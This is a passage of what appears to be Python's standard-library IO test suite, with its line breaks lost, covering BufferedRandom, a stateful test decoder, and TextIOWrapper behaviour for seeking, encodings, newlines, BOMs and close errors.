n=-1): # This relies on the fact that the buffer can contain the whole # raw stream, otherwise peek() can return less. b = bufio.peek(n) if n != -1: b = b[:n] bufio.seek(len(b), 1) return b self.check_flush_and_read(_peek) def test_flush_and_write(self): raw = self.BytesIO(b"abcdefghi") bufio = self.tp(raw) bufio.write(b"123") bufio.flush() bufio.write(b"45") bufio.flush() bufio.seek(0, 0) self.assertEqual(b"12345fghi", raw.getvalue()) self.assertEqual(b"12345fghi", bufio.read()) def test_threads(self): BufferedReaderTest.test_threads(self) BufferedWriterTest.test_threads(self) def test_writes_and_peek(self): def _peek(bufio): bufio.peek(1) self.check_writes(_peek) def _peek(bufio): pos = bufio.tell() bufio.seek(-1, 1) bufio.peek(1) bufio.seek(pos, 0) self.check_writes(_peek) def test_writes_and_reads(self): def _read(bufio): bufio.seek(-1, 1) bufio.read(1) self.check_writes(_read) def test_writes_and_read1s(self): def _read1(bufio): bufio.seek(-1, 1) bufio.read1(1) self.check_writes(_read1) def test_writes_and_readintos(self): def _read(bufio): bufio.seek(-1, 1) bufio.readinto(bytearray(1)) self.check_writes(_read) def test_write_after_readahead(self): # Issue #6629: writing after the buffer was filled by readahead should # first rewind the raw stream. for overwrite_size in [1, 5]: raw = self.BytesIO(b"A" * 10) bufio = self.tp(raw, 4) # Trigger readahead self.assertEqual(bufio.read(1), b"A") self.assertEqual(bufio.tell(), 1) # Overwriting should rewind the raw stream if it needs so bufio.write(b"B" * overwrite_size) self.assertEqual(bufio.tell(), overwrite_size + 1) # If the write size was smaller than the buffer size, flush() and # check that rewind happens. bufio.flush() self.assertEqual(bufio.tell(), overwrite_size + 1) s = raw.getvalue() self.assertEqual(s, b"A" + b"B" * overwrite_size + b"A" * (9 - overwrite_size)) def test_write_rewind_write(self): # Various combinations of reading / writing / seeking backwards / writing again def mutate(bufio, pos1, pos2): assert pos2 >= pos1 # Fill the buffer bufio.seek(pos1) bufio.read(pos2 - pos1) bufio.write(b'\x02') # This writes earlier than the previous write, but still inside # the buffer. bufio.seek(pos1) bufio.write(b'\x01') b = b"\x80\x81\x82\x83\x84" for i in range(0, len(b)): for j in range(i, len(b)): raw = self.BytesIO(b) bufio = self.tp(raw, 100) mutate(bufio, i, j) bufio.flush() expected = bytearray(b) expected[j] = 2 expected[i] = 1 self.assertEqual(raw.getvalue(), expected, "failed result for i=%d, j=%d" % (i, j)) def test_truncate_after_read_or_write(self): raw = self.BytesIO(b"A" * 10) bufio = self.tp(raw, 100) self.assertEqual(bufio.read(2), b"AA") # the read buffer gets filled self.assertEqual(bufio.truncate(), 2) self.assertEqual(bufio.write(b"BB"), 2) # the write buffer increases self.assertEqual(bufio.truncate(), 4) def test_misbehaved_io(self): BufferedReaderTest.test_misbehaved_io(self) BufferedWriterTest.test_misbehaved_io(self) def test_interleaved_read_write(self): # Test for issue #12213 with self.BytesIO(b'abcdefgh') as raw: with self.tp(raw, 100) as f: f.write(b"1") self.assertEqual(f.read(1), b'b') f.write(b'2') self.assertEqual(f.read1(1), b'd') f.write(b'3') buf = bytearray(1) f.readinto(buf) self.assertEqual(buf, b'f') f.write(b'4') self.assertEqual(f.peek(1), b'h') f.flush() self.assertEqual(raw.getvalue(), b'1b2d3f4h') with self.BytesIO(b'abc') as raw: with self.tp(raw, 100) as f: self.assertEqual(f.read(1), b'a') f.write(b"2") self.assertEqual(f.read(1), b'c') f.flush() self.assertEqual(raw.getvalue(), b'a2c') def test_interleaved_readline_write(self): with self.BytesIO(b'ab\ncdef\ng\n') as raw: with self.tp(raw) as f: f.write(b'1') self.assertEqual(f.readline(), b'b\n') f.write(b'2') self.assertEqual(f.readline(), b'def\n') f.write(b'3') self.assertEqual(f.readline(), b'\n') f.flush() self.assertEqual(raw.getvalue(), b'1b\n2def\n3\n') # You can't construct a BufferedRandom over a non-seekable stream. test_unseekable = None class CBufferedRandomTest(BufferedRandomTest, SizeofTest): tp = io.BufferedRandom @unittest.skipIf(MEMORY_SANITIZER, "MSan defaults to crashing " "instead of returning NULL for malloc failure.") def test_constructor(self): BufferedRandomTest.test_constructor(self) # The allocation can succeed on 32-bit builds, e.g. with more # than 2 GiB RAM and a 64-bit kernel. if sys.maxsize > 0x7FFFFFFF: rawio = self.MockRawIO() bufio = self.tp(rawio) self.assertRaises((OverflowError, MemoryError, ValueError), bufio.__init__, rawio, sys.maxsize) def test_garbage_collection(self): CBufferedReaderTest.test_garbage_collection(self) CBufferedWriterTest.test_garbage_collection(self) def test_args_error(self): # Issue #17275 with self.assertRaisesRegex(TypeError, "BufferedRandom"): self.tp(io.BytesIO(), 1024, 1024, 1024) class PyBufferedRandomTest(BufferedRandomTest): tp = pyio.BufferedRandom # To fully exercise seek/tell, the StatefulIncrementalDecoder has these # properties: # - A single output character can correspond to many bytes of input. # - The number of input bytes to complete the character can be # undetermined until the last input byte is received. # - The number of input bytes can vary depending on previous input. # - A single input byte can correspond to many characters of output. # - The number of output characters can be undetermined until the # last input byte is received. # - The number of output characters can vary depending on previous input. class StatefulIncrementalDecoder(codecs.IncrementalDecoder): """ For testing seek/tell behavior with a stateful, buffering decoder. Input is a sequence of words. Words may be fixed-length (length set by input) or variable-length (period-terminated). In variable-length mode, extra periods are ignored. Possible words are: - 'i' followed by a number sets the input length, I (maximum 99). When I is set to 0, words are space-terminated. - 'o' followed by a number sets the output length, O (maximum 99). - Any other word is converted into a word followed by a period on the output. The output word consists of the input word truncated or padded out with hyphens to make its length equal to O. If O is 0, the word is output verbatim without truncating or padding. I and O are initially set to 1. When I changes, any buffered input is re-scanned according to the new I. EOF also terminates the last word. """ def __init__(self, errors='strict'): codecs.IncrementalDecoder.__init__(self, errors) self.reset() def __repr__(self): return '<SID %x>' % id(self) def reset(self): self.i = 1 self.o = 1 self.buffer = bytearray() def getstate(self): i, o = self.i ^ 1, self.o ^ 1 # so that flags = 0 after reset() return bytes(self.buffer), i*100 + o def setstate(self, state): buffer, io = state self.buffer = bytearray(buffer) i, o = divmod(io, 100) self.i, self.o = i ^ 1, o ^ 1 def decode(self, input, final=False): output = '' for b in input: if self.i == 0: # variable-length, terminated with period if b == ord('.'): if self.buffer: output += self.process_word() else: self.buffer.append(b) else: # fixed-length, terminate after self.i bytes self.buffer.append(b) if len(self.buffer) == self.i: output += self.process_word() if final and self.buffer: # EOF terminates the last word output += self.process_word() return output def process_word(self): output = '' if self.buffer[0] == ord('i'): self.i = min(99, int(self.buffer[1:] or 0)) # set input length elif self.buffer[0] == ord('o'): self.o = min(99, int(self.buffer[1:] or 0)) # set output length else: output = self.buffer.decode('ascii') if len(output) < self.o: output += '-'*self.o # pad out with hyphens if self.o: output = output[:self.o] # truncate to output length output += '.' self.buffer = bytearray() return output codecEnabled = False @classmethod def lookupTestDecoder(cls, name): if cls.codecEnabled and name == 'test_decoder': latin1 = codecs.lookup('latin-1') return codecs.CodecInfo( name='test_decoder', encode=latin1.encode, decode=None, incrementalencoder=None, streamreader=None, streamwriter=None, incrementaldecoder=cls) # Register the previous decoder for testing. # Disabled by default, tests will enable it. codecs.register(StatefulIncrementalDecoder.lookupTestDecoder) class StatefulIncrementalDecoderTest(unittest.TestCase): """ Make sure the StatefulIncrementalDecoder actually works. """ test_cases = [ # I=1, O=1 (fixed-length input == fixed-length output) (b'abcd', False, 'a.b.c.d.'), # I=0, O=0 (variable-length input, variable-length output) (b'oiabcd', True, 'abcd.'), # I=0, O=0 (should ignore extra periods) (b'oi...abcd...', True, 'abcd.'), # I=0, O=6 (variable-length input, fixed-length output) (b'i.o6.x.xyz.toolongtofit.', False, 'x-----.xyz---.toolon.'), # I=2, O=6 (fixed-length input < fixed-length output) (b'i.i2.o6xyz', True, 'xy----.z-----.'), # I=6, O=3 (fixed-length input > fixed-length output) (b'i.o3.i6.abcdefghijklmnop', True, 'abc.ghi.mno.'), # I=0, then 3; O=29, then 15 (with longer output) (b'i.o29.a.b.cde.o15.abcdefghijabcdefghij.i3.a.b.c.d.ei00k.l.m', True, 'a----------------------------.' + 'b----------------------------.' + 'cde--------------------------.' + 'abcdefghijabcde.' + 'a.b------------.' + '.c.------------.' + 'd.e------------.' + 'k--------------.' + 'l--------------.' + 'm--------------.') ] def test_decoder(self): # Try a few one-shot test cases. for input, eof, output in self.test_cases: d = StatefulIncrementalDecoder() self.assertEqual(d.decode(input, eof), output) # Also test an unfinished decode, followed by forcing EOF. d = StatefulIncrementalDecoder() self.assertEqual(d.decode(b'oiabcd'), '') self.assertEqual(d.decode(b'', 1), 'abcd.') class TextIOWrapperTest(unittest.TestCase): def setUp(self): self.testdata = b"AAA\r\nBBB\rCCC\r\nDDD\nEEE\r\n" self.normalized = b"AAA\nBBB\nCCC\nDDD\nEEE\n".decode("ascii") support.unlink(support.TESTFN) def tearDown(self): support.unlink(support.TESTFN) def test_constructor(self): r = self.BytesIO(b"\xc3\xa9\n\n") b = self.BufferedReader(r, 1000) t = self.TextIOWrapper(b) t.__init__(b, encoding="latin-1", newline="\r\n") self.assertEqual(t.encoding, "latin-1") self.assertEqual(t.line_buffering, False) t.__init__(b, encoding="utf-8", line_buffering=True) self.assertEqual(t.encoding, "utf-8") self.assertEqual(t.line_buffering, True) self.assertEqual("\xe9\n", t.readline()) self.assertRaises(TypeError, t.__init__, b, newline=42) self.assertRaises(ValueError, t.__init__, b, newline='xyzzy') def test_uninitialized(self): t = self.TextIOWrapper.__new__(self.TextIOWrapper) del t t = self.TextIOWrapper.__new__(self.TextIOWrapper) self.assertRaises(Exception, repr, t) self.assertRaisesRegex((ValueError, AttributeError), 'uninitialized|has no attribute', t.read, 0) t.__init__(self.MockRawIO()) self.assertEqual(t.read(0), '') def test_non_text_encoding_codecs_are_rejected(self): # Ensure the constructor complains if passed a codec that isn't # marked as a text encoding # http://bugs.python.org/issue20404 r = self.BytesIO() b = self.BufferedWriter(r) with self.assertRaisesRegex(LookupError, "is not a text encoding"): self.TextIOWrapper(b, encoding="hex") def test_detach(self): r = self.BytesIO() b = self.BufferedWriter(r) t = self.TextIOWrapper(b) self.assertIs(t.detach(), b) t = self.TextIOWrapper(b, encoding="ascii") t.write("howdy") self.assertFalse(r.getvalue()) t.detach() self.assertEqual(r.getvalue(), b"howdy") self.assertRaises(ValueError, t.detach) # Operations independent of the detached stream should still work repr(t) self.assertEqual(t.encoding, "ascii") self.assertEqual(t.errors, "strict") self.assertFalse(t.line_buffering) self.assertFalse(t.write_through) def test_repr(self): raw = self.BytesIO("hello".encode("utf-8")) b = self.BufferedReader(raw) t = self.TextIOWrapper(b, encoding="utf-8") modname = self.TextIOWrapper.__module__ self.assertRegex(repr(t), r"<(%s\.)?TextIOWrapper encoding='utf-8'>" % modname) raw.name = "dummy" self.assertRegex(repr(t), r"<(%s\.)?TextIOWrapper name='dummy' encoding='utf-8'>" % modname) t.mode = "r" self.assertRegex(repr(t), r"<(%s\.)?TextIOWrapper name='dummy' mode='r' encoding='utf-8'>" % modname) raw.name = b"dummy" self.assertRegex(repr(t), r"<(%s\.)?TextIOWrapper name=b'dummy' mode='r' encoding='utf-8'>" % modname) t.buffer.detach() repr(t) # Should not raise an exception def test_recursive_repr(self): # Issue #25455 raw = self.BytesIO() t = self.TextIOWrapper(raw) with support.swap_attr(raw, 'name', t): try: repr(t) # Should not crash except RuntimeError: pass def test_line_buffering(self): r = self.BytesIO() b = self.BufferedWriter(r, 1000) t = self.TextIOWrapper(b, newline="\n", line_buffering=True) t.write("X") self.assertEqual(r.getvalue(), b"") # No flush happened t.write("Y\nZ") self.assertEqual(r.getvalue(), b"XY\nZ") # All got flushed t.write("A\rB") self.assertEqual(r.getvalue(), b"XY\nZA\rB") def test_reconfigure_line_buffering(self): r = self.BytesIO() b = self.BufferedWriter(r, 1000) t = self.TextIOWrapper(b, newline="\n", line_buffering=False) t.write("AB\nC") self.assertEqual(r.getvalue(), b"") t.reconfigure(line_buffering=True) # implicit flush self.assertEqual(r.getvalue(), b"AB\nC") t.write("DEF\nG") self.assertEqual(r.getvalue(), b"AB\nCDEF\nG") t.write("H") self.assertEqual(r.getvalue(), b"AB\nCDEF\nG") t.reconfigure(line_buffering=False) # implicit flush self.assertEqual(r.getvalue(), b"AB\nCDEF\nGH") t.write("IJ") self.assertEqual(r.getvalue(), b"AB\nCDEF\nGH") # Keeping default value t.reconfigure() t.reconfigure(line_buffering=None) self.assertEqual(t.line_buffering, False) t.reconfigure(line_buffering=True) t.reconfigure() t.reconfigure(line_buffering=None) self.assertEqual(t.line_buffering, True) @unittest.skipIf(sys.flags.utf8_mode, "utf-8 mode is enabled") def test_default_encoding(self): old_environ = dict(os.environ) try: # try to get a user preferred encoding different than the current # locale encoding to check that TextIOWrapper() uses the current # locale encoding and not the user preferred encoding for key in ('LC_ALL', 'LANG', 'LC_CTYPE'): if key in os.environ: del os.environ[key] current_locale_encoding = locale.getpreferredencoding(False) b = self.BytesIO() t = self.TextIOWrapper(b) self.assertEqual(t.encoding, current_locale_encoding) finally: os.environ.clear() os.environ.update(old_environ) @support.cpython_only @unittest.skipIf(sys.flags.utf8_mode, "utf-8 mode is enabled") def test_device_encoding(self): # Issue 15989 import _testcapi b = self.BytesIO() b.fileno = lambda: _testcapi.INT_MAX + 1 self.assertRaises(OverflowError, self.TextIOWrapper, b) b.fileno = lambda: _testcapi.UINT_MAX + 1 self.assertRaises(OverflowError, self.TextIOWrapper, b) def test_encoding(self): # Check the encoding attribute is always set, and valid b = self.BytesIO() t = self.TextIOWrapper(b, encoding="utf-8") self.assertEqual(t.encoding, "utf-8") t = self.TextIOWrapper(b) self.assertIsNotNone(t.encoding) codecs.lookup(t.encoding) def test_encoding_errors_reading(self): # (1) default b = self.BytesIO(b"abc\n\xff\n") t = self.TextIOWrapper(b, encoding="ascii") self.assertRaises(UnicodeError, t.read) # (2) explicit strict b = self.BytesIO(b"abc\n\xff\n") t = self.TextIOWrapper(b, encoding="ascii", errors="strict") self.assertRaises(UnicodeError, t.read) # (3) ignore b = self.BytesIO(b"abc\n\xff\n") t = self.TextIOWrapper(b, encoding="ascii", errors="ignore") self.assertEqual(t.read(), "abc\n\n") # (4) replace b = self.BytesIO(b"abc\n\xff\n") t = self.TextIOWrapper(b, encoding="ascii", errors="replace") self.assertEqual(t.read(), "abc\n\ufffd\n") def test_encoding_errors_writing(self): # (1) default b = self.BytesIO() t = self.TextIOWrapper(b, encoding="ascii") self.assertRaises(UnicodeError, t.write, "\xff") # (2) explicit strict b = self.BytesIO() t = self.TextIOWrapper(b, encoding="ascii", errors="strict") self.assertRaises(UnicodeError, t.write, "\xff") # (3) ignore b = self.BytesIO() t = self.TextIOWrapper(b, encoding="ascii", errors="ignore", newline="\n") t.write("abc\xffdef\n") t.flush() self.assertEqual(b.getvalue(), b"abcdef\n") # (4) replace b = self.BytesIO() t = self.TextIOWrapper(b, encoding="ascii", errors="replace", newline="\n") t.write("abc\xffdef\n") t.flush() self.assertEqual(b.getvalue(), b"abc?def\n") def test_newlines(self): input_lines = [ "unix\n", "windows\r\n", "os9\r", "last\n", "nonl" ] tests = [ [ None, [ 'unix\n', 'windows\n', 'os9\n', 'last\n', 'nonl' ] ], [ '', input_lines ], [ '\n', [ "unix\n", "windows\r\n", "os9\rlast\n", "nonl" ] ], [ '\r\n', [ "unix\nwindows\r\n", "os9\rlast\nnonl" ] ], [ '\r', [ "unix\nwindows\r", "\nos9\r", "last\nnonl" ] ], ] encodings = ( 'utf-8', 'latin-1', 'utf-16', 'utf-16-le', 'utf-16-be', 'utf-32', 'utf-32-le', 'utf-32-be', ) # Try a range of buffer sizes to test the case where \r is the last # character in TextIOWrapper._pending_line. for encoding in encodings: # XXX: str.encode() should return bytes data = bytes(''.join(input_lines).encode(encoding)) for do_reads in (False, True): for bufsize in range(1, 10): for newline, exp_lines in tests: bufio = self.BufferedReader(self.BytesIO(data), bufsize) textio = self.TextIOWrapper(bufio, newline=newline, encoding=encoding) if do_reads: got_lines = [] while True: c2 = textio.read(2) if c2 == '': break self.assertEqual(len(c2), 2) got_lines.append(c2 + textio.readline()) else: got_lines = list(textio) for got_line, exp_line in zip(got_lines, exp_lines): self.assertEqual(got_line, exp_line) self.assertEqual(len(got_lines), len(exp_lines)) def test_newlines_input(self): testdata = b"AAA\nBB\x00B\nCCC\rDDD\rEEE\r\nFFF\r\nGGG" normalized = testdata.replace(b"\r\n", b"\n").replace(b"\r", b"\n") for newline, expected in [ (None, normalized.decode("ascii").splitlines(keepends=True)), ("", testdata.decode("ascii").splitlines(keepends=True)), ("\n", ["AAA\n", "BB\x00B\n", "CCC\rDDD\rEEE\r\n", "FFF\r\n", "GGG"]), ("\r\n", ["AAA\nBB\x00B\nCCC\rDDD\rEEE\r\n", "FFF\r\n", "GGG"]), ("\r", ["AAA\nBB\x00B\nCCC\r", "DDD\r", "EEE\r", "\nFFF\r", "\nGGG"]), ]: buf = self.BytesIO(testdata) txt = self.TextIOWrapper(buf, encoding="ascii", newline=newline) self.assertEqual(txt.readlines(), expected) txt.seek(0) self.assertEqual(txt.read(), "".join(expected)) def test_newlines_output(self): testdict = { "": b"AAA\nBBB\nCCC\nX\rY\r\nZ", "\n": b"AAA\nBBB\nCCC\nX\rY\r\nZ", "\r": b"AAA\rBBB\rCCC\rX\rY\r\rZ", "\r\n": b"AAA\r\nBBB\r\nCCC\r\nX\rY\r\r\nZ", } tests = [(None, testdict[os.linesep])] + sorted(testdict.items()) for newline, expected in tests: buf = self.BytesIO() txt = self.TextIOWrapper(buf, encoding="ascii", newline=newline) txt.write("AAA\nB") txt.write("BB\nCCC\n") txt.write("X\rY\r\nZ") txt.flush() self.assertEqual(buf.closed, False) self.assertEqual(buf.getvalue(), expected) def test_destructor(self): l = [] base = self.BytesIO class MyBytesIO(base): def close(self): l.append(self.getvalue()) base.close(self) b = MyBytesIO() t = self.TextIOWrapper(b, encoding="ascii") t.write("abc") del t support.gc_collect() self.assertEqual([b"abc"], l) def test_override_destructor(self): record = [] class MyTextIO(self.TextIOWrapper): def __del__(self): record.append(1) try: f = super().__del__ except AttributeError: pass else: f() def close(self): record.append(2) super().close() def flush(self): record.append(3) super().flush() b = self.BytesIO() t = MyTextIO(b, encoding="ascii") del t support.gc_collect() self.assertEqual(record, [1, 2, 3]) def test_error_through_destructor(self): # Test that the exception state is not modified by a destructor, # even if close() fails. rawio = self.CloseFailureIO() def f(): self.TextIOWrapper(rawio).xyzzy with support.captured_output("stderr") as s: self.assertRaises(AttributeError, f) s = s.getvalue().strip() if s: # The destructor *may* have printed an unraisable error, check it self.assertEqual(len(s.splitlines()), 1) self.assertTrue(s.startswith("Exception OSError: "), s) self.assertTrue(s.endswith(" ignored"), s) # Systematic tests of the text I/O API def test_basic_io(self): for chunksize in (1, 2, 3, 4, 5, 15, 16, 17, 31, 32, 33, 63, 64, 65): for enc in "ascii", "latin-1", "utf-8" :# , "utf-16-be", "utf-16-le": f = self.open(support.TESTFN, "w+", encoding=enc) f._CHUNK_SIZE = chunksize self.assertEqual(f.write("abc"), 3) f.close() f = self.open(support.TESTFN, "r+", encoding=enc) f._CHUNK_SIZE = chunksize self.assertEqual(f.tell(), 0) self.assertEqual(f.read(), "abc") cookie = f.tell() self.assertEqual(f.seek(0), 0) self.assertEqual(f.read(None), "abc") f.seek(0) self.assertEqual(f.read(2), "ab") self.assertEqual(f.read(1), "c") self.assertEqual(f.read(1), "") self.assertEqual(f.read(), "") self.assertEqual(f.tell(), cookie) self.assertEqual(f.seek(0), 0) self.assertEqual(f.seek(0, 2), cookie) self.assertEqual(f.write("def"), 3) self.assertEqual(f.seek(cookie), cookie) self.assertEqual(f.read(), "def") if enc.startswith("utf"): self.multi_line_test(f, enc) f.close() def multi_line_test(self, f, enc): f.seek(0) f.truncate() sample = "s\xff\u0fff\uffff" wlines = [] for size in (0, 1, 2, 3, 4, 5, 30, 31, 32, 33, 62, 63, 64, 65, 1000): chars = [] for i in range(size): chars.append(sample[i % len(sample)]) line = "".join(chars) + "\n" wlines.append((f.tell(), line)) f.write(line) f.seek(0) rlines = [] while True: pos = f.tell() line = f.readline() if not line: break rlines.append((pos, line)) self.assertEqual(rlines, wlines) def test_telling(self): f = self.open(support.TESTFN, "w+", encoding="utf-8") p0 = f.tell() f.write("\xff\n") p1 = f.tell() f.write("\xff\n") p2 = f.tell() f.seek(0) self.assertEqual(f.tell(), p0) self.assertEqual(f.readline(), "\xff\n") self.assertEqual(f.tell(), p1) self.assertEqual(f.readline(), "\xff\n") self.assertEqual(f.tell(), p2) f.seek(0) for line in f: self.assertEqual(line, "\xff\n") self.assertRaises(OSError, f.tell) self.assertEqual(f.tell(), p2) f.close() def test_seeking(self): chunk_size = _default_chunk_size() prefix_size = chunk_size - 2 u_prefix = "a" * prefix_size prefix = bytes(u_prefix.encode("utf-8")) self.assertEqual(len(u_prefix), len(prefix)) u_suffix = "\u8888\n" suffix = bytes(u_suffix.encode("utf-8")) line = prefix + suffix with self.open(support.TESTFN, "wb") as f: f.write(line*2) with self.open(support.TESTFN, "r", encoding="utf-8") as f: s = f.read(prefix_size) self.assertEqual(s, str(prefix, "ascii")) self.assertEqual(f.tell(), prefix_size) self.assertEqual(f.readline(), u_suffix) def test_seeking_too(self): # Regression test for a specific bug data = b'\xe0\xbf\xbf\n' with self.open(support.TESTFN, "wb") as f: f.write(data) with self.open(support.TESTFN, "r", encoding="utf-8") as f: f._CHUNK_SIZE # Just test that it exists f._CHUNK_SIZE = 2 f.readline() f.tell() def test_seek_and_tell(self): #Test seek/tell using the StatefulIncrementalDecoder. # Make test faster by doing smaller seeks CHUNK_SIZE = 128 def test_seek_and_tell_with_data(data, min_pos=0): """Tell/seek to various points within a data stream and ensure that the decoded data returned by read() is consistent.""" f = self.open(support.TESTFN, 'wb') f.write(data) f.close() f = self.open(support.TESTFN, encoding='test_decoder') f._CHUNK_SIZE = CHUNK_SIZE decoded = f.read() f.close() for i in range(min_pos, len(decoded) + 1): # seek positions for j in [1, 5, len(decoded) - i]: # read lengths f = self.open(support.TESTFN, encoding='test_decoder') self.assertEqual(f.read(i), decoded[:i]) cookie = f.tell() self.assertEqual(f.read(j), decoded[i:i + j]) f.seek(cookie) self.assertEqual(f.read(), decoded[i:]) f.close() # Enable the test decoder. StatefulIncrementalDecoder.codecEnabled = 1 # Run the tests. try: # Try each test case. for input, _, _ in StatefulIncrementalDecoderTest.test_cases: test_seek_and_tell_with_data(input) # Position each test case so that it crosses a chunk boundary. for input, _, _ in StatefulIncrementalDecoderTest.test_cases: offset = CHUNK_SIZE - len(input)//2 prefix = b'.'*offset # Don't bother seeking into the prefix (takes too long). min_pos = offset*2 test_seek_and_tell_with_data(prefix + input, min_pos) # Ensure our test decoder won't interfere with subsequent tests. finally: StatefulIncrementalDecoder.codecEnabled = 0 def test_encoded_writes(self): data = "1234567890" tests = ("utf-16", "utf-16-le", "utf-16-be", "utf-32", "utf-32-le", "utf-32-be") for encoding in tests: buf = self.BytesIO() f = self.TextIOWrapper(buf, encoding=encoding) # Check if the BOM is written only once (see issue1753). f.write(data) f.write(data) f.seek(0) self.assertEqual(f.read(), data * 2) f.seek(0) self.assertEqual(f.read(), data * 2) self.assertEqual(buf.getvalue(), (data * 2).encode(encoding)) def test_unreadable(self): class UnReadable(self.BytesIO): def readable(self): return False txt = self.TextIOWrapper(UnReadable()) self.assertRaises(OSError, txt.read) def test_read_one_by_one(self): txt = self.TextIOWrapper(self.BytesIO(b"AA\r\nBB")) reads = "" while True: c = txt.read(1) if not c: break reads += c self.assertEqual(reads, "AA\nBB") def test_readlines(self): txt = self.TextIOWrapper(self.BytesIO(b"AA\nBB\nCC")) self.assertEqual(txt.readlines(), ["AA\n", "BB\n", "CC"]) txt.seek(0) self.assertEqual(txt.readlines(None), ["AA\n", "BB\n", "CC"]) txt.seek(0) self.assertEqual(txt.readlines(5), ["AA\n", "BB\n"]) # read in amounts equal to TextIOWrapper._CHUNK_SIZE which is 128. def test_read_by_chunk(self): # make sure "\r\n" straddles 128 char boundary. txt = self.TextIOWrapper(self.BytesIO(b"A" * 127 + b"\r\nB")) reads = "" while True: c = txt.read(128) if not c: break reads += c self.assertEqual(reads, "A"*127+"\nB") def test_writelines(self): l = ['ab', 'cd', 'ef'] buf = self.BytesIO() txt = self.TextIOWrapper(buf) txt.writelines(l) txt.flush() self.assertEqual(buf.getvalue(), b'abcdef') def test_writelines_userlist(self): l = UserList(['ab', 'cd', 'ef']) buf = self.BytesIO() txt = self.TextIOWrapper(buf) txt.writelines(l) txt.flush() self.assertEqual(buf.getvalue(), b'abcdef') def test_writelines_error(self): txt = self.TextIOWrapper(self.BytesIO()) self.assertRaises(TypeError, txt.writelines, [1, 2, 3]) self.assertRaises(TypeError, txt.writelines, None) self.assertRaises(TypeError, txt.writelines, b'abc') def test_issue1395_1(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") # read one char at a time reads = "" while True: c = txt.read(1) if not c: break reads += c self.assertEqual(reads, self.normalized) def test_issue1395_2(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") txt._CHUNK_SIZE = 4 reads = "" while True: c = txt.read(4) if not c: break reads += c self.assertEqual(reads, self.normalized) def test_issue1395_3(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") txt._CHUNK_SIZE = 4 reads = txt.read(4) reads += txt.read(4) reads += txt.readline() reads += txt.readline() reads += txt.readline() self.assertEqual(reads, self.normalized) def test_issue1395_4(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") txt._CHUNK_SIZE = 4 reads = txt.read(4) reads += txt.read() self.assertEqual(reads, self.normalized) def test_issue1395_5(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") txt._CHUNK_SIZE = 4 reads = txt.read(4) pos = txt.tell() txt.seek(0) txt.seek(pos) self.assertEqual(txt.read(4), "BBB\n") def test_issue2282(self): buffer = self.BytesIO(self.testdata) txt = self.TextIOWrapper(buffer, encoding="ascii") self.assertEqual(buffer.seekable(), txt.seekable()) def test_append_bom(self): # The BOM is not written again when appending to a non-empty file filename = support.TESTFN for charset in ('utf-8-sig', 'utf-16', 'utf-32'): with self.open(filename, 'w', encoding=charset) as f: f.write('aaa') pos = f.tell() with self.open(filename, 'rb') as f: self.assertEqual(f.read(), 'aaa'.encode(charset)) with self.open(filename, 'a', encoding=charset) as f: f.write('xxx') with self.open(filename, 'rb') as f: self.assertEqual(f.read(), 'aaaxxx'.encode(charset)) def test_seek_bom(self): # Same test, but when seeking manually filename = support.TESTFN for charset in ('utf-8-sig', 'utf-16', 'utf-32'): with self.open(filename, 'w', encoding=charset) as f: f.write('aaa') pos = f.tell() with self.open(filename, 'r+', encoding=charset) as f: f.seek(pos) f.write('zzz') f.seek(0) f.write('bbb') with self.open(filename, 'rb') as f: self.assertEqual(f.read(), 'bbbzzz'.encode(charset)) def test_seek_append_bom(self): # Same test, but first seek to the start and then to the end filename = support.TESTFN for charset in ('utf-8-sig', 'utf-16', 'utf-32'): with self.open(filename, 'w', encoding=charset) as f: f.write('aaa') with self.open(filename, 'a', encoding=charset) as f: f.seek(0) f.seek(0, self.SEEK_END) f.write('xxx') with self.open(filename, 'rb') as f: self.assertEqual(f.read(), 'aaaxxx'.encode(charset)) def test_errors_property(self): with self.open(support.TESTFN, "w") as f: self.assertEqual(f.errors, "strict") with self.open(support.TESTFN, "w", errors="replace") as f: self.assertEqual(f.errors, "replace") @support.no_tracing def test_threads_write(self): # Issue6750: concurrent writes could duplicate data event = threading.Event() with self.open(support.TESTFN, "w", buffering=1) as f: def run(n): text = "Thread%03d\n" % n event.wait() f.write(text) threads = [threading.Thread(target=run, args=(x,)) for x in range(20)] with support.start_threads(threads, event.set): time.sleep(0.02) with self.open(support.TESTFN) as f: content = f.read() for n in range(20): self.assertEqual(content.count("Thread%03d\n" % n), 1) def test_flush_error_on_close(self): # Test that text file is closed despite failed flush # and that flush() is called before file closed. txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") closed = [] def bad_flush(): closed[:] = [txt.closed, txt.buffer.closed] raise OSError() txt.flush = bad_flush self.assertRaises(OSError, txt.close) # exception not swallowed self.assertTrue(txt.closed) self.assertTrue(txt.buffer.closed) self.assertTrue(closed) # flush() called self.assertFalse(closed[0]) # flush() called before file closed self.assertFalse(closed[1]) txt.flush = lambda: None # break reference loop def test_close_error_on_close(self): buffer = self.BytesIO(self.testdata) def bad_flush(): raise OSError('flush') def bad_close(): raise OSError('close') buffer.close = bad_close txt = self.TextIOWrapper(buffer, encoding="ascii") txt.flush = bad_flush with self.assertRaises(OSError) as err: # exception not swallowed txt.close() self.assertEqual(err.exception.args, ('close',)) self.assertIsInstance(err.exception.__context__, OSError) self.assertEqual(err.exception.__context__.args, ('flush',)) self.assertFalse(txt.closed) def test_nonnormalized_close_error_on_close(self): # Issue #21677 buffer = self.BytesIO(self.testdata) def bad_flush(): raise non_existing_flush def bad_close(): raise non_existing_close buffer.close = bad_close txt = self.TextIOWrapper(buffer, encoding="ascii") txt.flush = bad_flush with self.assertRaises(NameError) as err: # exception not swallowed txt.close() self.assertIn('non_existing_close', str(err.exception)) self.assertIsInstance(err.exception.__context__, NameError) self.assertIn('non_existing_flush', str(err.exception.__context__)) self.assertFalse(txt.closed) def test_multi_close(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") txt.close() txt.close() txt.close() self.assertRaises(ValueError, txt.flush) def test_unseekable(self): txt = self.TextIOWrapper(self.MockUnseekableIO(self.testdata)) self.assertRaises(self.UnsupportedOperation, txt.tell) self.assertRaises(self.UnsupportedOperation, txt.seek, 0) def test_readonly_attributes(self): txt = self.TextIOWrapper(self.BytesIO(self.testdata), encoding="ascii") buf = self.BytesIO(self.testdata) with self.assertRaises(AttributeError): 